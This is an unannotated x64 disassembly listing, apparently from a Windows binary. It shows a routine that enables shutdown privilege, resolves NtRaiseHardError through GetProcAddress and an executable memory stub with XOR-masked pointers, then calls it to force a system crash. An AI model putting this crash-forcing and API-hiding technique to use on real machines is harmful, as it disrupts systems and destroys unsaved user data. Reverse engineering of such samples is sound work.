mov qword [rsp + 0x488], rax
mov rax, qword [rsp + 0x498]
mov rcx, qword [rsp + 0x488]
mov qword [rax], rcx
mov rax, qword [rsp + 0x320]
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x338], rax
lea r9, [rsp + 0x3f0]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [rsp + 0x338]
mov dword [rsp + 0x190], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x348], rax
lea rax, [rsp + 0x348]
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0x4a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x358], rax
mov qword [rsp + 0x4a0], 0
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x4a8], rax
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x4b0]
mov rax, qword [rax]
mov qword [rsp + 0x4a0], rax
mov rax, qword [rsp + 0x4a8]
mov rcx, qword [rsp + 0x4a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4a0], rax
mov rax, qword [rsp + 0x4b0]
mov qword [rax], 0
lea rax, [0x14000e200]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x90], 0
mov dword [rsp + 0x58], 0
mov eax, dword [rsp + 0x58]
lea rcx, [0x1400eaba0]
cmp qword [rcx + rax*8], 0
je 0x140005ce3
mov eax, dword [rsp + 0x58]
lea rcx, [0x1400eaba0]
mov rdx, qword [rsp + 0xc0]
cmp qword [rcx + rax*8], rdx
jne 0x140005cd7
mov eax, dword [rsp + 0x58]
lea rcx, [0x1400ebe70]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x90], rax
jmp 0x140005ce3
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
jmp 0x140005c93
cmp qword [rsp + 0x90], 0
jne 0x140005da8
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0
jne 0x140005d2c
mov qword [rsp + 0x160], 0
jmp 0x140005d53
mov rdi, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xc0]
mov ecx, 0x1f4
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x90], rax
lea rax, [0x1400eaba0]
mov rcx, qword [0x1400ec1a8]
mov rdx, qword [rsp + 0xc0]
mov qword [rax + rcx*8], rdx
lea rax, [0x1400ebe70]
mov rcx, qword [0x1400ec1a8]
mov rdx, qword [rsp + 0x90]
mov qword [rax + rcx*8], rdx
mov rax, qword [0x1400ec1a8]
inc rax
mov qword [0x1400ec1a8], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x178], rax
lea r8, str.NtRaiseHardError
lea rdx, [rsp + 0x370]
mov rax, qword [rsp + 0x170]
mov rcx, qword [rax]
call qword [rsp + 0x178]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x4a8]
mov rcx, qword [rsp + 0x4a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4a0], rax
mov rax, qword [rsp + 0x4b0]
mov rcx, qword [rsp + 0x4a0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x1b8], rax
lea rax, [rsp + 0x4c0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xdeaddead
call qword [rsp + 0x1b8]
mov dword [rsp + 0x1a0], eax
jmp 0x140004479
mov rcx, qword [rsp + 0x8d0]
xor rcx, rsp
call fcn.14004c470
add rsp, 0x8e8
pop rdi
pop rsi
ret